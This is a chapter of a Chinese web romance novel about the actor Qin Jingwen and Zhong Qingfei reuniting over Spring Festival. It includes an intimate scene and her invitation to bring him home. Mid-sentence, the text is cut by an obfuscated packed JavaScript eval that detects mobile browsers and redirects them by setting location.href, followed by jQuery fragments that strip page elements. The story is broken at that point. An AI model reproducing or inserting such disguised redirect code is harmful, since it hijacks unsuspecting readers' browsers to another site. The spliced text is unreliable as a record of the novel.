44.044 Past
作品:《冬夜渐暖(gb)》 五年前/从剧组回京过春节
/
【秦景文:姐姐,我到京市了。】
晚上七点,秦景文落地首都国际机场,坐上公司派来的保姆车,靠在座椅上,盯着已经熄灭了的手机屏幕,发着呆。
”Lee哥忽然从前座侧过头,问道:“景文,拍得怎么样?
“嗯?”秦景文想了想,回答,“还可以。”
“剧组的生活还适应吗?”
“嗯,适应的。”
“那就好,”Lee哥下意识地点了点头,接着说,“对了,王导那边说,初十之前回到剧组就行了,我看你是江浙那边的人,需要帮你订票回家吗?”
秦景文眉眼低垂,纤长的睫毛在昏黄灯光之下,投射出一片阴影,看上去情绪似乎有点低落。
“景文?”□□有些奇怪地看着发楞着的秦景文,又喊了一句。
秦景文扯了扯嘴角,笑得很是勉强,语气淡淡,说:“不用了,Lee哥,我不回去。”
“哦,行。”□□对秦景文在哪儿过年倒不是很感兴趣,只不过是处于工作职责,随口问一问,了解了解。
车子停在万国悦府,Lee又对着秦景文交代了几句,他都一一应下。
但Lee总觉得秦景文心不在焉的,摆了摆手,说“好了好了,好好过年去吧,有什么事给我打电话或者公司有什么安排我也会联系你的,记得手机别关机。”
“嗯。”
秦景文低着头看着手中握着的手机,上面还是没有任何新消息,打开车门的瞬间,寒风灌入,激得车内的人一个哆嗦。
Lee看着秦景文落寞的背影,喊道:“新年快乐。”
秦景文停下脚步,转身,说:“新年快乐。”
而后,独自一人上了楼,大门被打开,毫无人气的屋内,亮起冷白的灯,静悄悄的,有点儿孤单。
秦景文枯坐在沙发上,看着头顶繁复的水晶吊灯,华美闪耀,像钟轻斐,任何亮闪闪的东西都像钟轻斐。
“叮”,消息提示音响起,秦景文咧开嘴,露出一抹灿烂的笑容,迅速拿起,但在看到是谁发的后,笑容慢慢凝固。
【斐然娱乐经纪人-Lee:记得发微博营业。】
【秦景文:嗯。】
一直到晚上十点,秦景文洗完澡,发完微博,钟轻斐都没有回复。
他闷闷不乐地躺在床上,心里隐隐有点不安,好像从钟轻斐回京市之后的这几天,两人联系的频率的确变低了。
怀里抱着钟轻斐上次留在这儿的睡衣,闭着眼睛,睡意渐渐袭来,拍戏的这段日子里,就算没有他的戏份,他也尽可能地跟着导演的节奏,去观摩学习,导致他的睡眠时间变少,更要命的是,他好像有点儿认床,或者说,认人。
钟轻斐身上的味道,让他安心,长时间紧绷着的神经骤然缓和,呼吸声也开始变得平稳绵长。
而钟轻斐这边,这几天在公司忙得晕头转向,过年之前的会议一个接着一个,她是真的很讨厌开会,下面的总监们一个个叭叭叭的,也不知道有什么好说的,听得一个头两个大,完全忘了秦景文回京日期就是今天。
刚巧收了尾,带着米咪和Oli去郑伈的酒吧放松放松,结果,看到秦景文的消息时,已经是散场后的凌晨两点。
她一拍脑门,就说有什么事儿忘了,想了想,让司机掉头,往万国悦府开。
冬日凌晨,街上人迹罕至,钟轻斐屈着手指,在手机屏幕上有节奏地敲打着。
车子在地下停车场停好,钟轻斐一秒也不耽搁,往电梯间走去。
按下指纹解锁,玄关处的灯应声亮起,她抬起手臂嗅了嗅,酒味稍微有点儿重,她轻手轻脚地朝着浴室走去。
钟轻斐打开卧室的门,床头亮着一盏小小的灯,平时的秦景文明明是那么大的一只,现在缩在床边,蜷缩成小小的一团,眉头微微皱起,似乎睡得并不安稳。
钟轻斐走了过去,坐在床侧,伸手抚了抚他的眉心,又俯下身,温柔地印下一吻。
“我回来了。”
她掀开被子,发现秦景文抱着她的睡衣,难怪她刚才怎么也没找到。
她把睡衣慢慢扯走,低头,爱恋地亲了亲秦景文的眼角眉梢,几日不见,总觉得他被海岛的阳光晒得黑了点儿,但仍然好看极了。
细细密密的吻,落在他的鼻尖、唇角、喉结、锁骨......
秦景文像是被热水包裹着,浑身散发着热气,感觉身上轻飘飘的,似是羽毛滑过,痒痒的。
秦景文迷迷糊糊地睁开眼睛,扭动着身体,长睫微颤,眼前的景象并不真切,他以为还在梦中。
伸手,抚上他日思夜想的脸,温软的,不是虚影。
“姐姐......”秦景文张了张嘴,发出细小的声音。
“嗯,在呢。”
钟轻斐笑着吻上他的唇。
秦景文猛然清醒过来,睁大双眼,盯着面前的人儿,是钟轻斐,真实的钟轻斐,他并不是在做梦。
“姐姐......姐姐......”
秦景文眨巴着湿漉漉的眼睛,望着钟轻斐,像得到了什么心爱之物似的,迸发出异样的亮光,他仰着头亲吻着钟轻斐的下巴。
“嗯,是我。”
说罢,钟轻斐低头迎上秦景文的唇,激烈地交缠,空气中响起啧啧水声,两人都像是要将对方拆吃入腹,来不及吞下的涎水顺着嘴角流下,直至精疲力竭。
“秦景文,想不想我呀。”
钟轻斐凑上前,咬住他红透了的耳垂,舌尖描绘着耳廓的形状。
“嗯......姐姐......想......想你......”
钟轻斐吮/吸着他的脖颈,留下明显的吻痕以及牙印,要不是之前秦景文不是去公司上课就是拍戏,她早就这么做了。
现在这漫长的春节假期,她想留多少就留多少。
红色的痕迹,如同冬日的火焰,又像夏日的晚霞,深秋的枫叶。
“对不起,没看到你的信息。”
秦景文脑子似乎还没有转过来,过了一会儿才回道:“没关系的,姐姐。”
声音有点哑,闷闷的,带着消散不掉的困意,接着问身边的人:“现在几点了?”
钟轻斐敲了敲手机屏幕,看了看时间,轻声回答:“快五点了,继续睡吧。”
秦景文没有再回答,眼皮像是要粘在一起似的,耷拉着,抬不起来,手臂揽过钟轻斐的腰,将人紧紧箍在怀中,柔软的唇瓣胡乱地蹭着她的脸,像小狗标记地盘,给钟轻斐打上他的气味与印记。
没过多久,秦景文又一次沉沉睡去,钟轻斐认真地伸出手指,描摹着他精致的眉眼,怎么也亲不够似的,又吻了吻他,然后超小声地说了句:“秦景文,你真的好乖。”
清晨的阳光透过窗帘缝隙,斜斜地打在床上,秦景文缓缓睁开眼睛,映入眼帘的是钟轻斐的睡颜,侧脸压在柔软的枕头上,唇瓣红润润的,浓密的睫毛像一把小扇子。
秦景文伸手拨弄,轻轻喊了声“姐姐”,又将人重新揽入怀中,贪婪地吮吸着她身上的味道。
原来,不是做梦,都是真的。
钟轻斐真的回来了。
毛茸茸的脑袋蹭着钟轻斐的脖颈间,一个又一个吻印在上面,柔柔的,像天上的云。
钟轻斐困极了,把眼睛打开一道缝,瞧着小狗在身上乱拱,没好气地甩了一巴掌,打在了秦景文的后脑勺。
像挠痒痒似的,轻飘飘的。
“睡觉!”
钟轻斐的声音哑哑的,手掌胡乱地盖住秦景文的眼睛,强迫他重新入睡。
虽然她被吵醒的那一刹那,真的很想发脾气,但看到秦景文的这张脸时,火气顿时消了一大半。
秦景文顺从地闭上眼,像八爪鱼似的缠着钟轻斐的身体,钟轻斐毫不在意,大半张脸窝在他胸前,再次沉沉睡去。
等钟轻斐终于睡饱醒来,发现身边空无一人,揉了揉眼睛,摁下遥控器,窗帘缓缓拉开,屋外已是艳阳高照。
手机铃声忽地响起,钟轻斐打了个哈欠,手指按下接听键。
“囡囡。”钟母温温柔柔的声音从听筒中传出。
钟轻斐没忍住又打了个哈欠,生理性泪水从眼角溢出,她用食指指节轻轻拭去,又挠了挠脑袋,弱弱地喊了声:“妈。”
“囡囡,你不会刚醒吧?”
钟轻斐立刻坐直身体,清了清嗓子,语气中带着些许讨好,说:“没呢,妈妈,给您亲爱的女儿打电话干嘛呢?”
钟母也懒得管她到底是睡没睡,还是醒没醒,亦或是睡了又醒,开门见山,直奔主题:“记得晚上回家啊。”
“哦哦哦,知道了。”
“记得啊,千万别忘了,”钟母又像是想到了什么,接着说,“欸,对了,你联系一下钟轻然,我给他打了几百个电话,都不接,是不是又日夜颠倒,在睡觉,你俩兄妹还真是一模一样。”
听到钟母的最后一句话,钟轻斐可不承认,即刻反驳道:“朱女士,此言差矣,我和他可不一样,您给我打了一个电话,我就接了。”
钟轻斐掀开被子,光脚踩在波斯地毯上,之前涂的黑色指甲油有点斑驳,她微微皱了皱眉,耳边钟母的声音犹在,眼前出现一双深灰色拖鞋。
钟轻斐抬头,对上秦景文含笑的眼眸,见他手中还拿着一杯水,伸手想要接过,却被他躲开。
钟轻斐疑惑地瞪大双眼,似是不解,哪知,秦景文直接将杯子递到她的唇边,她下意识地张开嘴巴,咕咚咕咚喝了大半杯,干涸的嗓子得到滋润。
“你还在不在听啊?”
钟母提高音量,钟轻斐忙不迭地回答:“妈,我在听我在听,今晚我会回去的,别担心,我绝对不会忘记,还有,联系钟轻然。好了,我这边还有事,先挂了啊,拜拜,爱你,妈妈,mua!”
钟轻斐一口气睡了一大堆有的没的,没等钟母回应,火速挂断电话。
秦景文将水杯又递了过去,钟轻斐摇了摇头,说:“不喝了。”
秦景文仰头将剩下的水一饮而尽,殷红的唇上留下盈盈水光,钟轻斐凑上前,伸出湿濡的舌尖舔了舔他的唇角。
“姐姐,你饿了吗?我给你做了点吃的。”
“嗯,饿了。”
洗漱过后,钟轻斐坐在餐桌前,上面摆着份英式早餐,煎蛋、培根、香肠、蘑菇以及两片面包,边上还有一杯黑咖啡。
“姐姐,还有海鲜粥。”
秦景文将热气腾腾的粥放在钟轻斐面前,香气扑鼻,钟轻斐挑了挑眉,惊诧地望着他,指了指桌上的东西,不可置信地问:“都是你做的?”
“嗯,很久没做了,尝尝好不好吃。”
秦景文眨巴着亮晶晶的眼睛,期待地看着钟轻斐。
钟轻斐舀起一口带着虾仁的粥,软糯鲜甜,暖身又暖胃,还真不懒。
“好吃!”说完,钟轻斐笑得眼睛弯弯,像天上明亮的月牙。
“姐姐喜欢就好。”
听到夸奖的秦景文松了口气,这才坐下,慢悠悠地吃着他那份早餐。
“你之前经常自己做饭吗?”
一起床就能吃到好吃的食物,钟轻斐心情也变得格外愉悦。
“有时候会做。”
之前没有通告时,为了省钱,秦景文会窝在四行给艺人准备的小公寓里,自己做点吃的,久而久之也熟能生巧,厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684261|188193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
艺倒也还算可以。
他此次下厨前,还担心了好一阵,害怕自己做的东西不符合钟轻斐的口味。
“真的还不错欸,你要是不做演员,可以考虑去当厨师,然后网上营销,最帅厨师,开放预约制,不累但绝对也能赚得盆满钵满。”
钟轻斐的思维天马行空,跳跃性极强,说起和娱乐相关的,又头头是道,似乎在脑中已经把方案都写好了。
秦景文被钟轻斐严肃认真的语气逗笑,不好意思地挠了挠鼻子,说:“只做给姐姐吃。”
钟轻斐没想到,秦景文除了在床上,还能说出点情话,着实不易。
“那倒也不必。”
秦景文瞬间敛起笑容,变得有些委屈,下一秒钟轻斐说出了后半句话。
“你好好拍戏,好好学习就好了啦,偶尔做做饭也可以。”
“知道了。”
钟轻斐并未察觉到秦景文的情绪起伏,低着头切着香肠。
在秦景文的眼中,此刻的她,眼睫低垂,白皙修长的脖颈弯成好看的弧度,宛如一只高贵的白天鹅。
秦景文痴痴地凝视着钟轻斐,视线扫过她的每一根发丝,再一次开口:“姐姐。”
“嗯?”钟轻斐单手撑着下巴,和秦景文对视,问,“怎么了?”
“你今晚要回家吗?”
钟轻斐端起右手边的咖啡杯,喝了一小口,点了点头,随即像是想到了一些事,委婉地询问秦景文:“留在京市过年?”
秦景文为不可察地点了点头,声音很轻很轻,说了个“嗯”。
钟轻斐耸了耸肩,无所谓道:“那你跟我回去呗。”
秦景文呆愣愣地坐着,眼睛慌乱地眨了眨,嘴巴微张,像是有什么话卡在嗓子眼,上不去也下不来。
“你不想跟我回去吗?”钟轻斐久久没听见秦景文的回答,以为他不愿意,善解人意道:“不过,要是你不想的话,就算了。”
秦景文无意识地舔了舔干涩的嘴唇,磕磕绊绊地说:“可......可以吗?”
“可以啊,不就是去过个年嘛,有什么不可以的,”钟轻斐伸了个长长的懒腰,又继续补充道,“可能要在那儿住几天,说起这个,我要给我哥打个电话,你待会儿先收拾一下东西。”
钟轻斐火急火燎,发现手机还在卧室,急匆匆地往房间走去,留下秦景文一个人消化刚才听到的话。
还没等他整理完毕,只见钟轻斐换了套衣服,像是要出门的架势。
“秦景文,我去趟我哥那儿,离你这儿不远,在同个小区,我估计他还睡着,我先过去把他薅起来,等会儿就回来。”
钟轻斐边走边说,真的要被钟轻然气死了,猪都没他能睡。
“姐姐,要不我和你一起过去?等我收拾好。”
钟轻斐站在玄关处停了停,也不是不行,来回折腾也挺烦人的,待会儿直接从钟轻然那边出发,于是,她又把外套脱了扔在沙发上。
“行。”
其实,秦景文说完这句话后,有点紧张,觉得自己嘴太快,没经过脑子,万一有什么不方便,钟轻斐不想他一起过去呢。
好在,钟轻斐同意了。
秦景文站在衣帽间内,焦虑无措,一会儿抠着手指,一会儿来回踱步,他有点捏不准钟轻斐的想法,为什么会说带他回家过年,以前的她也带过别的男人回去吗?见家长要带礼物吧,不然多不礼貌,但现在这么着急的情况下,准备什么?还有,待会儿要见她的哥哥,万一她哥哥不喜欢自己,又该怎么办?
秦景文坐在扶手椅上,双手捂着额头,牙齿紧紧咬着下唇。
“坐这儿干嘛?”
钟轻斐依靠在门边,手中的碗里放着的马斯卡丁葡萄。
“姐姐,”秦景文声音不似平常,带着不安的情绪,又问了一遍,“我,真的能和你去你家吗?”
“可以啊,为什么不可以。”
“可我没准备见面礼。”
“没关系的,不用准备,”钟轻斐缓步上前,蹲在秦景文身边,往他嘴里塞了颗葡萄,“他们又不在意。”
秦景文还想说些什么,却被钟轻斐打断,拍了拍他的脑袋,接着安慰道:“真不用准备什么,我回家也不给他们买东西的,我哥他们也不买。”
“你要是真不好意思,我教你。”
秦景文疑惑地看向钟轻斐,似是在等她下面的话。
“首先,先站起来。”
秦景文懵懵地起身。
“然后,把衣柜里那件红色大衣拿出来,穿在你身上。”
“嗯?”
“把自己当成红包,给他们看一看,就够了,”钟轻斐见秦景文还是不信,拍着胸脯,信誓旦旦地保证道,“真的。”
秦景文穿好后,对着钟轻斐转了一圈。
钟轻斐眼前一亮,还真不错,竖起大拇指,夸赞:“很棒,我爸妈最喜欢看别人在春节穿红色了,喜庆,但我和哥哥们自从有了自主意识后,就从来不穿。所以,你这一身,绝对能在我家大杀四方。”
秦景文看着钟轻斐生动活泼的动作和表情,紧张的情绪慢慢平静,好像也不是那么可怕了。
“真的可以吗?”
“嗯嗯,真的,很可以,非常可以,”钟轻斐上前拉过秦景文的手臂,语速超快地说了一串,叽叽喳喳的,宛若百灵鸟,“走吧走吧,我们快出发,我哥还是不接我电话,等下把他摇醒就往车上拖,不然他磨磨唧唧的,我们铁定要迟到,迟到要被我妈唠叨的。”
秦景文差点被钟轻斐扯得一个踉跄,堪堪稳住身形,跟着她的脚步往前走。
他的目光一直追随在眼前兴奋的钟轻斐身上,唇边不自觉地漾起一抹浅浅的笑容。

